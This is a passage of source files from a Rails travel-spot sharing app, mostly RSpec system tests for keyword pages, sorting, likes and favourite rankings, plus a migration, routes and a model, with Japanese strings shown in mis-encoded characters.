'ใ‚ในใฎใƒใƒซใ‚ซใ‚น', href: keyword_path(Keyword.last.id) expect(page).to have_content Keyword.first.spots.count expect(page).to have_content Keyword.first.spots.average(:rate) expect(page).to have_content Keyword.last.spots.count expect(page).to have_content Keyword.last.spots.average(:rate) end it 'ใ‚ญใƒผใƒฏใƒผใƒ‰ไธ€่ฆง็”ป้ข๏ผšใ‚ญใƒผใƒฏใƒผใƒ‰่ฉ•ไพกๅนณๅ‡ใฎใ‚ฝใƒผใƒˆใŒๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do visit keywords_path click_link '่ฉ•ไพกๅนณๅ‡' # ๆ˜‡้ † first_spot_link = find_all('a')[11].native.inner_text expect(first_spot_link).to match('ใ‚ในใฎใƒใƒซใ‚ซใ‚น') click_link '่ฉ•ไพกๅนณๅ‡' # ้™้ † first_spot_link = find_all('a')[11].native.inner_text expect(first_spot_link).to match('ๆฑไบฌใ‚ฟใƒฏใƒผ') end it 'ใ‚ญใƒผใƒฏใƒผใƒ‰่ฉณ็ดฐ็”ป้ข๏ผšๅ„้ …็›ฎใŒ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do visit keyword_path(Keyword.first) expect(page).to have_selector("img[src$='spot_image1.jpeg']") expect(page).to have_link 'ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰ใ‹ใ‚‰่ฆ‹ใŸๆฑไบฌใ‚ฟใƒฏใƒผ', href: spot_path(Spot.find(3)) expect(page).to have_link 'ๅคœใฎๆฑไบฌใ‚ฟใƒฏใƒผ', href: spot_path(Spot.find(4)) expect(page).to have_content Spot.find(3).prefecture expect(page).to have_content Spot.find(4).prefecture expect(page).to have_content Spot.find(3).city expect(page).to have_content Spot.find(4).city expect(page).to have_content Spot.find(3).created_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") expect(page).to have_content Spot.find(4).created_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") expect(page).to have_content Spot.find(3).visited_day.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") expect(page).to have_content Spot.find(4).visited_day.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") expect(page).to have_link '', href: spot_favorites_path(Spot.find(3)) expect(page).to have_link '', href: spot_favorites_path(Spot.find(4)) expect(page).to have_content Spot.find(3).favorites.count expect(page).to have_content Spot.find(4).favorites.count end it 'ใ‚ญใƒผใƒฏใƒผใƒ‰่ฉณ็ดฐ็”ป้ข๏ผšใ‚ฟใ‚คใƒˆใƒซใฎใ‚ฝใƒผใƒˆใŒๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do visit keyword_path(Keyword.first) click_link 'ใ‚ฟใ‚คใƒˆใƒซ' # ๆ˜‡้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰ใ‹ใ‚‰่ฆ‹ใŸๆฑไบฌใ‚ฟใƒฏใƒผ') click_link 'ใ‚ฟใ‚คใƒˆใƒซ' # ้™้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('ๅคœใฎๆฑไบฌใ‚ฟใƒฏใƒผ') end it 'ใ‚ญใƒผใƒฏใƒผใƒ‰่ฉณ็ดฐ็”ป้ข๏ผšๆ‰€ๅœจๅœฐใฎใ‚ฝใƒผใƒˆใŒๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do visit keyword_path(Keyword.first) click_link 'ๆ‰€ๅœจๅœฐ' # ๆ˜‡้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰ใ‹ใ‚‰่ฆ‹ใŸๆฑไบฌใ‚ฟใƒฏใƒผ') click_link 'ๆ‰€ๅœจๅœฐ' # ้™้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('ๅคœใฎๆฑไบฌใ‚ฟใƒฏใƒผ') end it 'ใ‚ญใƒผใƒฏใƒผใƒ‰่ฉณ็ดฐ็”ป้ข๏ผšๆŠ•็จฟๆ—ฅใฎใ‚ฝใƒผใƒˆใŒๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do visit keyword_path(Keyword.first) click_link 'ๆŠ•็จฟๆ—ฅ' # ๆ˜‡้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰ใ‹ใ‚‰่ฆ‹ใŸๆฑไบฌใ‚ฟใƒฏใƒผ') click_link 'ๆŠ•็จฟๆ—ฅ' # ้™้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('ๅคœใฎๆฑไบฌใ‚ฟใƒฏใƒผ') end it 'ใ‚ญใƒผใƒฏใƒผใƒ‰่ฉณ็ดฐ็”ป้ข๏ผšๆฅ่จชๆ—ฅใฎใ‚ฝใƒผใƒˆใŒๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do visit keyword_path(Keyword.first) click_link 'ๆฅ่จชๆ—ฅ' # ๆ˜‡้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('ๅคœใฎๆฑไบฌใ‚ฟใƒฏใƒผ') click_link 'ๆฅ่จชๆ—ฅ' # ้™้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰ใ‹ใ‚‰่ฆ‹ใŸๆฑไบฌใ‚ฟใƒฏใƒผ') end it 'ใ‚ญใƒผใƒฏใƒผใƒ‰่ฉณ็ดฐ็”ป้ข๏ผš่ฉ•ไพกใฎใ‚ฝใƒผใƒˆใŒๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do visit keyword_path(Keyword.first) click_link '่ฉ•ไพก' # ๆ˜‡้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰ใ‹ใ‚‰่ฆ‹ใŸๆฑไบฌใ‚ฟใƒฏใƒผ') click_link '่ฉ•ไพก' # ้™้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('ๅคœใฎๆฑไบฌใ‚ฟใƒฏใƒผ') end it 'ใ‚ญใƒผใƒฏใƒผใƒ‰่ฉณ็ดฐ็”ป้ข๏ผš่ฉ•ไพกใฎใ‚ฝใƒผใƒˆใŒๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do visit keyword_path(Keyword.first) click_link '่ฉ•ไพก' # ๆ˜‡้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰ใ‹ใ‚‰่ฆ‹ใŸๆฑไบฌใ‚ฟใƒฏใƒผ') click_link '่ฉ•ไพก' # ้™้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('ๅคœใฎๆฑไบฌใ‚ฟใƒฏใƒผ') end it 'ใ‚ญใƒผใƒฏใƒผใƒ‰่ฉณ็ดฐ็”ป้ข๏ผšใ„ใ„ใญใฎใ‚ฝใƒผใƒˆใŒๆญฃใ—ใ่กจ็คบใ•ใ‚Œใ‚‹ใ‹' do visit keyword_path(Keyword.first) click_link 'ใ„ใ„ใญ' # ๆ˜‡้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('ๅคœใฎๆฑไบฌใ‚ฟใƒฏใƒผ') click_link 'ใ„ใ„ใญ' # ้™้ † first_spot_link = find_all('a')[16].native.inner_text expect(first_spot_link).to match('ใƒ‡ใ‚ฃใ‚บใƒ‹ใƒผใƒฉใƒณใƒ‰ใ‹ใ‚‰่ฆ‹ใŸๆฑไบฌใ‚ฟใƒฏใƒผ') end end end describe '[STEP2] ใƒฆใƒผใ‚ถใƒญใ‚ฐใ‚คใƒณๅพŒใฎใƒ†ใ‚นใƒˆ ใ„ใ„ใญๆฉŸ่ƒฝใฎใƒ†ใ‚นใƒˆ' do let(:user) { create(:user) } let!(:spot) { create(:spot, user: user) } before do visit new_user_session_path fill_in 'user[email]', with: user.email fill_in 'user[password]', with: user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' end context 'ใƒˆใƒƒใƒ—็”ป้ขใงใฎใƒ†ใ‚นใƒˆ' do before do visit top_path end it 'ใ„ใ„ใญใ‚’ๆŠผใ™', js: true do expect do find("#like-#{spot.id}").click sleep 1 end.to change { spot.favorites.count }.by(1) expect(page).to have_css "#unlike-#{spot.id}" end it 'ใ„ใ„ใญใ‚’ๅ–ใ‚Šๆถˆใ™', js: true do find("#like-#{spot.id}").click sleep 1 expect do find("#unlike-#{spot.id}").click sleep 1 end.to change { spot.favorites.count }.by(-1) expect(page).to have_css "#like-#{spot.id}" end end context 'ใƒฆใƒผใ‚ถใƒผ่ฉณ็ดฐ็”ป้ขใงใฎใƒ†ใ‚นใƒˆ' do before do visit user_path(user) end it 'ใ„ใ„ใญใ‚’ๆŠผใ™', js: true do expect do find("#like-#{spot.id}").click sleep 1 end.to change { spot.favorites.count }.by(1) expect(page).to have_css "#unlike-#{spot.id}" end it 'ใ„ใ„ใญใ‚’ๅ–ใ‚Šๆถˆใ™', js: true do find("#like-#{spot.id}").click sleep 1 expect do find("#unlike-#{spot.id}").click sleep 1 end.to change { spot.favorites.count }.by(-1) expect(page).to have_css "#like-#{spot.id}" end end context 'ใ‚นใƒใƒƒใƒˆ่ฉณ็ดฐ็”ป้ขใงใฎใƒ†ใ‚นใƒˆ' do before do visit spot_path(spot) end it 'ใ„ใ„ใญใ‚’ๆŠผใ™', js: true do expect do find("#like-#{spot.id}").click sleep 1 end.to change { spot.favorites.count }.by(1) expect(page).to have_css "#unlike-#{spot.id}" end it 'ใ„ใ„ใญใ‚’ๅ–ใ‚Šๆถˆใ™', js: true do find("#like-#{spot.id}").click sleep 1 expect do find("#unlike-#{spot.id}").click sleep 1 end.to change { spot.favorites.count }.by(-1) expect(page).to have_css "#like-#{spot.id}" end end context 'ใ‚นใƒใƒƒใƒˆไธ€่ฆง็”ป้ขใงใฎใƒ†ใ‚นใƒˆ' do before do visit spots_path end it 'ใ„ใ„ใญใ‚’ๆŠผใ™', js: true do expect do find("#like-#{spot.id}").click sleep 1 end.to change { spot.favorites.count }.by(1) expect(page).to have_css "#unlike-#{spot.id}" end it 'ใ„ใ„ใญใ‚’ๅ–ใ‚Šๆถˆใ™', js: true do find("#like-#{spot.id}").click sleep 1 expect do find("#unlike-#{spot.id}").click sleep 1 end.to change { spot.favorites.count }.by(-1) expect(page).to have_css "#like-#{spot.id}" end end # ใ‚ญใƒผใƒฏใƒผใƒ‰่ฉณ็ดฐใงใฎใ„ใ„ใญๆฉŸ่ƒฝใฏใใ‚Œใžใ‚Œใฎใƒ†ใ‚นใƒˆๅ†…ใงๅฎŸๆ–ฝๆธˆ end describe '[STEP2] ใƒฆใƒผใ‚ถใƒญใ‚ฐใ‚คใƒณๅพŒใฎใƒ†ใ‚นใƒˆ ใƒฉใƒณใ‚ญใƒณใ‚ฐ(ใ‚นใƒใƒƒใƒˆใ„ใ„ใญๆ•ฐ)ใฎใƒ†ใ‚นใƒˆ' do let(:user) { create(:user, profile_image: nil) } let(:other_user) { create(:user, profile_image: nil) } before do visit new_user_session_path fill_in 'user[email]', with: user.email fill_in 'user[password]', with: user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' end context 'ใ„ใ„ใญๆ•ฐใƒฉใƒณใ‚ญใƒณใ‚ฐ(ใ‚นใƒใƒƒใƒˆ)ใ€ใ„ใ„ใญๆ•ฐ1ไปฅไธŠใฎใ‚นใƒใƒƒใƒˆๆ•ฐใŒใชใ„ๅ ดๅˆ' do before do visit spot_favorite_ranking_path end it 'ใ€Œ็พๅœจๆบ–ๅ‚™ไธญใงใ™ใ€‚ใ€ใจ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content '็พๅœจๆบ–ๅ‚™ไธญใงใ™ใ€‚' end it 'ใ€Œใ“ใกใ‚‰ใ€ใŒใ„ใ„ใญๆ•ฐใƒฉใƒณใ‚ญใƒณใ‚ฐ(ใƒฆใƒผใ‚ถใƒผ)ใธใฎใƒชใƒณใ‚ฏใจใชใฃใฆใ„ใ‚‹' do expect(page).to have_link 'ใ“ใกใ‚‰', href: user_favorite_ranking_path end end context 'ใ„ใ„ใญๆ•ฐใƒฉใƒณใ‚ญใƒณใ‚ฐ(ใ‚นใƒใƒƒใƒˆ)ใ€ใ„ใ„ใญๆ•ฐ1ไปฅไธŠใฎใ‚นใƒใƒƒใƒˆๆ•ฐใŒ10ไปฅไธ‹ใฎๅ ดๅˆ' do let!(:spot1) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot2) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot3) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot4) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot5) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot6) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot7) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot8) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot9) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot10) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:favorite1) { create(:favorite, user: user, spot: spot1) } let!(:favorite2) { create(:favorite, user: user, spot: spot2) } let!(:favorite3) { create(:favorite, user: user, spot: spot3) } let!(:favorite4) { create(:favorite, user: user, spot: spot4) } let!(:favorite5) { create(:favorite, user: user, spot: spot5) } let!(:favorite6) { create(:favorite, user: user, spot: spot6) } let!(:favorite7) { create(:favorite, user: user, spot: spot7) } let!(:favorite8) { create(:favorite, user: user, spot: spot8) } let!(:favorite9) { create(:favorite, user: user, spot: spot9) } before do visit spot_favorite_ranking_path end it '้ †ไฝใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content '็ฌฌ1ไฝ' end it 'ใ‚นใƒใƒƒใƒˆใฎใ‚ฟใ‚คใƒˆใƒซใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot1.title end it 'ใ‚นใƒใƒƒใƒˆใฎๆ‰€ๅœจๅœฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot1.prefecture expect(page).to have_content spot1.city end it 'ใ‚นใƒใƒƒใƒˆใฎๆŠ•็จฟๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot1.created_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it 'ใ‚นใƒใƒƒใƒˆใฎๆŠ•็จฟ่€…ใฎใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot1.user.nickname end it 'ใ‚นใƒใƒƒใƒˆใฎใ„ใ„ใญๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot1.favorites.count end it 'ใ„ใ„ใญๆ•ฐ0ใฎใ‚นใƒใƒƒใƒˆใฏ่กจ็คบใ•ใ‚Œใชใ„' do expect(page).not_to have_content spot10.title end end context 'ใ„ใ„ใญๆ•ฐใƒฉใƒณใ‚ญใƒณใ‚ฐ(ใ‚นใƒใƒƒใƒˆ)ใ€ใ„ใ„ใญๆ•ฐ1ไปฅไธŠใฎใ‚นใƒใƒƒใƒˆๆ•ฐใŒ11ไปฅไธŠใฎๅ ดๅˆ' do let!(:spot1) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot2) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot3) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot4) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot5) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot6) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot7) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot8) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot9) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot10) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot11) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:favorite1) { create(:favorite, user: user, spot: spot1) } let!(:favorite2) { create(:favorite, user: user, spot: spot2) } let!(:favorite3) { create(:favorite, user: user, spot: spot3) } let!(:favorite4) { create(:favorite, user: user, spot: spot4) } let!(:favorite5) { create(:favorite, user: user, spot: spot5) } let!(:favorite6) { create(:favorite, user: user, spot: spot6) } let!(:favorite7) { create(:favorite, user: user, spot: spot7) } let!(:favorite8) { create(:favorite, user: user, spot: spot8) } let!(:favorite9) { create(:favorite, user: user, spot: spot9) } let!(:favorite10) { create(:favorite, user: other_user, spot: spot10) } let!(:favorite11) { create(:favorite, user: other_user, spot: spot11) } let!(:favorite12) { create(:favorite, user: other_user, spot: spot1) } let!(:favorite13) { create(:favorite, user: other_user, spot: spot2) } let!(:favorite14) { create(:favorite, user: other_user, spot: spot3) } let!(:favorite15) { create(:favorite, user: other_user, spot: spot4) } let!(:favorite16) { create(:favorite, user: other_user, spot: spot5) } let!(:favorite17) { create(:favorite, user: other_user, spot: spot6) } let!(:favorite18) { create(:favorite, user: other_user, spot: spot7) } let!(:favorite19) { create(:favorite, user: other_user, spot: spot8) } let!(:favorite20) { create(:favorite, user: other_user, spot: spot9) } let!(:favorite21) { create(:favorite, user: other_user, spot: spot10) } before do visit spot_favorite_ranking_path end it '้ †ไฝใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content '็ฌฌ1ไฝ' end it 'ใ‚นใƒใƒƒใƒˆใฎใ‚ฟใ‚คใƒˆใƒซใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot1.title end it 'ใ‚นใƒใƒƒใƒˆใฎๆ‰€ๅœจๅœฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot1.prefecture expect(page).to have_content spot1.city end it 'ใ‚นใƒใƒƒใƒˆใฎๆŠ•็จฟๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot1.created_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it 'ใ‚นใƒใƒƒใƒˆใฎๆŠ•็จฟ่€…ใฎใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot1.user.nickname end it 'ใ‚นใƒใƒƒใƒˆใฎใ„ใ„ใญๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content spot1.favorites.count end end end describe '[STEP2] ใƒฆใƒผใ‚ถใƒญใ‚ฐใ‚คใƒณๅพŒใฎใƒ†ใ‚นใƒˆ ใƒฉใƒณใ‚ญใƒณใ‚ฐ(ใƒฆใƒผใ‚ถใƒผใ„ใ„ใญๆ•ฐ)ใฎใƒ†ใ‚นใƒˆ' do let(:user1) { create(:user, profile_image: nil) } let!(:user2) { create(:user, profile_image: nil) } let!(:user3) { create(:user, profile_image: nil) } let!(:user4) { create(:user, profile_image: nil) } let!(:user5) { create(:user, profile_image: nil) } let!(:user6) { create(:user, profile_image: nil) } let!(:user7) { create(:user, profile_image: nil) } let!(:user8) { create(:user, profile_image: nil) } let!(:user9) { create(:user, profile_image: nil) } let!(:user10) { create(:user, profile_image: nil) } let!(:user11) { create(:user, profile_image: nil) } let!(:spot1) { create(:spot, user: user1, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot2) { create(:spot, user: user2, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot3) { create(:spot, user: user3, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot4) { create(:spot, user: user4, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot5) { create(:spot, user: user5, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot6) { create(:spot, user: user6, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot7) { create(:spot, user: user7, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot8) { create(:spot, user: user8, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot9) { create(:spot, user: user9, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot10) { create(:spot, user: user10, spot_image1: nil, spot_image2: nil, spot_image3: nil) } let!(:spot11) { create(:spot, user: user11, spot_image1: nil, spot_image2: nil, spot_image3: nil) } before do visit new_user_session_path fill_in 'user[email]', with: user1.email fill_in 'user[password]', with: user1.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' end context 'ใ„ใ„ใญๆ•ฐใƒฉใƒณใ‚ญใƒณใ‚ฐ(ใ‚นใƒใƒƒใƒˆ)ใ€็ทใ„ใ„ใญๆ•ฐ1ไปฅไธŠใฎใƒฆใƒผใ‚ถใƒผๆ•ฐใŒใชใ„ๅ ดๅˆ' do before do visit user_favorite_ranking_path end it 'ใ€Œ็พๅœจๆบ–ๅ‚™ไธญใงใ™ใ€‚ใ€ใจ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content '็พๅœจๆบ–ๅ‚™ไธญใงใ™ใ€‚' end it 'ใ€Œใ“ใกใ‚‰ใ€ใŒใ„ใ„ใญๆ•ฐใƒฉใƒณใ‚ญใƒณใ‚ฐ(ใ‚นใƒใƒƒใƒˆ)ใธใฎใƒชใƒณใ‚ฏใจใชใฃใฆใ„ใ‚‹' do expect(page).to have_link 'ใ“ใกใ‚‰', href: spot_favorite_ranking_path end end context 'ใ„ใ„ใญๆ•ฐใƒฉใƒณใ‚ญใƒณใ‚ฐ(ใ‚นใƒใƒƒใƒˆ)ใ€็ทใ„ใ„ใญๆ•ฐ1ไปฅไธŠใฎใƒฆใƒผใ‚ถใƒผๆ•ฐใŒ10ไปฅไธ‹ใฎๅ ดๅˆ' do let!(:favorite1) { create(:favorite, user: user1, spot: spot1) } let!(:favorite2) { create(:favorite, user: user1, spot: spot2) } let!(:favorite3) { create(:favorite, user: user1, spot: spot3) } let!(:favorite4) { create(:favorite, user: user1, spot: spot4) } let!(:favorite5) { create(:favorite, user: user1, spot: spot5) } let!(:favorite6) { create(:favorite, user: user1, spot: spot6) } let!(:favorite7) { create(:favorite, user: user1, spot: spot7) } let!(:favorite8) { create(:favorite, user: user1, spot: spot8) } let!(:favorite9) { create(:favorite, user: user1, spot: spot9) } before do visit user_favorite_ranking_path end it '้ †ไฝใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content '็ฌฌ1ไฝ' end it 'ใƒฆใƒผใ‚ถใƒผใฎใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user1.nickname end it 'ใƒฆใƒผใ‚ถใƒผใฎไฝๆ‰€ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user1.prefecture expect(page).to have_content user1.city end it 'ใƒฆใƒผใ‚ถใƒผใฎๅนด้ฝขใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user1.age end it 'ใƒฆใƒผใ‚ถใƒผใฎๆŠ•็จฟใ‚นใƒใƒƒใƒˆๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user1.spots.count end it 'ใƒฆใƒผใ‚ถใƒผใฎ็ฒๅพ—็ทใ„ใ„ใญๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do user = User.find(1) user_all_spots = user1.spots user_all_favorites_count = 0 user_all_spots.each do |spot| user_all_favorites_count += spot.favorites.count end expect(page).to have_content user_all_favorites_count end it 'ใ„ใ„ใญๆ•ฐ0ใฎใƒฆใƒผใ‚ถใƒผใฏ่กจ็คบใ•ใ‚Œใชใ„' do expect(page).not_to have_content user10.nickname expect(page).not_to have_content user11.nickname end end context 'ใ„ใ„ใญๆ•ฐใƒฉใƒณใ‚ญใƒณใ‚ฐ(ใ‚นใƒใƒƒใƒˆ)ใ€ใ„ใ„ใญๆ•ฐ1ไปฅไธŠใฎใ‚นใƒใƒƒใƒˆๆ•ฐใŒ11ไปฅไธŠใฎๅ ดๅˆ' do let!(:favorite1) { create(:favorite, user: user1, spot: spot1) } let!(:favorite2) { create(:favorite, user: user1, spot: spot2) } let!(:favorite3) { create(:favorite, user: user1, spot: spot3) } let!(:favorite4) { create(:favorite, user: user1, spot: spot4) } let!(:favorite5) { create(:favorite, user: user1, spot: spot5) } let!(:favorite6) { create(:favorite, user: user1, spot: spot6) } let!(:favorite7) { create(:favorite, user: user1, spot: spot7) } let!(:favorite8) { create(:favorite, user: user1, spot: spot8) } let!(:favorite9) { create(:favorite, user: user1, spot: spot9) } let!(:favorite10) { create(:favorite, user: user1, spot: spot10) } let!(:favorite11) { create(:favorite, user: user1, spot: spot11) } let!(:favorite12) { create(:favorite, user: user2, spot: spot1) } let!(:favorite13) { create(:favorite, user: user2, spot: spot2) } let!(:favorite14) { create(:favorite, user: user2, spot: spot3) } let!(:favorite15) { create(:favorite, user: user2, spot: spot4) } let!(:favorite16) { create(:favorite, user: user2, spot: spot5) } let!(:favorite17) { create(:favorite, user: user2, spot: spot6) } let!(:favorite18) { create(:favorite, user: user2, spot: spot7) } let!(:favorite19) { create(:favorite, user: user2, spot: spot8) } let!(:favorite20) { create(:favorite, user: user2, spot: spot9) } let!(:favorite21) { create(:favorite, user: user2, spot: spot10) } before do visit user_favorite_ranking_path end it '้ †ไฝใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content '็ฌฌ1ไฝ' end it 'ใƒฆใƒผใ‚ถใƒผใฎใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user1.nickname end it 'ใƒฆใƒผใ‚ถใƒผใฎไฝๆ‰€ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user1.prefecture expect(page).to have_content user1.city end it 'ใƒฆใƒผใ‚ถใƒผใฎๅนด้ฝขใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user1.age end it 'ใƒฆใƒผใ‚ถใƒผใฎๆŠ•็จฟใ‚นใƒใƒƒใƒˆๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content user1.spots.count end it 'ใƒฆใƒผใ‚ถใƒผใฎ็ฒๅพ—็ทใ„ใ„ใญๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do user = User.find(1) user_all_spots = user.spots user_all_favorites_count = 0 user_all_spots.each do |spot| user_all_favorites_count += spot.favorites.count end expect(page).to have_content user_all_favorites_count end end end ``` 20210306044543_create_spots.rb ```class CreateSpots < ActiveRecord::Migration[5.2] def change create_table :spots do |t| t.integer :user_id t.string :title t.integer :prefecture t.string :city t.date :visited_day t.integer :rate t.string :spot_image1_id t.string :spot_image2_id t.string :spot_image3_id t.text :content t.timestamps end end end ``` keyword_spec.rb ```require 'rails_helper' RSpec.describe 'Keywordใƒขใƒ‡ใƒซใฎใƒ†ใ‚นใƒˆ', type: :model do describe 'ใ‚ขใ‚ฝใ‚ทใ‚จใƒผใ‚ทใƒงใƒณใฎใƒ†ใ‚นใƒˆ' do context 'Keyword_relationshipใƒขใƒ‡ใƒซใจใฎ้–ขไฟ‚' do it '1:Nใจใชใฃใฆใ„ใ‚‹' do expect(Keyword.reflect_on_association(:keyword_relationships).macro).to eq :has_many end end context 'Spotใƒขใƒ‡ใƒซใจใฎ้–ขไฟ‚' do it '1:Nใจใชใฃใฆใ„ใ‚‹' do expect(Keyword.reflect_on_association(:spots).macro).to eq :has_many end end end end ``` routes.rb ```Rails.application.routes.draw do get "/" => "homes#top", as: "top" get "/about" => "homes#about", as: "about" devise_for :users, controllers: {registrations: 'users/registrations'} resources :users, only: [:show, :index, :edit, :update] do member do get :following, :followers end end resources :spots do resources :comments, only: [:create, :destroy] resource :favorites, only: [:create, :destroy] end resources :follow_relationships, only: [:create, :destroy] resources :keywords, only: [:show, :index] get "/rankings/user_favorite" => "rankings#user_favorite", as: "user_favorite_ranking" get "/rankings/spot_favorite" => "rankings#spot_favorite", as: "spot_favorite_ranking" resources :notifications, only: [:index] delete "notifications" => "notifications#all_destroy", as: "user_notifications_all_destroy" end ``` keyword.rb ```class Keyword < ApplicationRecord has_many :keyword_relationships, dependent: :destroy, foreign_key: 'keyword_id' has_many :spots, through: :keyword_relationships end ``` user_spec.rb ```require 'rails_helper' RSpec.describe 'Userใƒขใƒ‡ใƒซใฎใƒ†ใ‚นใƒˆ', type: :model do describe 'ใƒใƒชใƒ‡ใƒผใ‚ทใƒงใƒณใฎใƒ†ใ‚นใƒˆ' do subject { user.valid? } 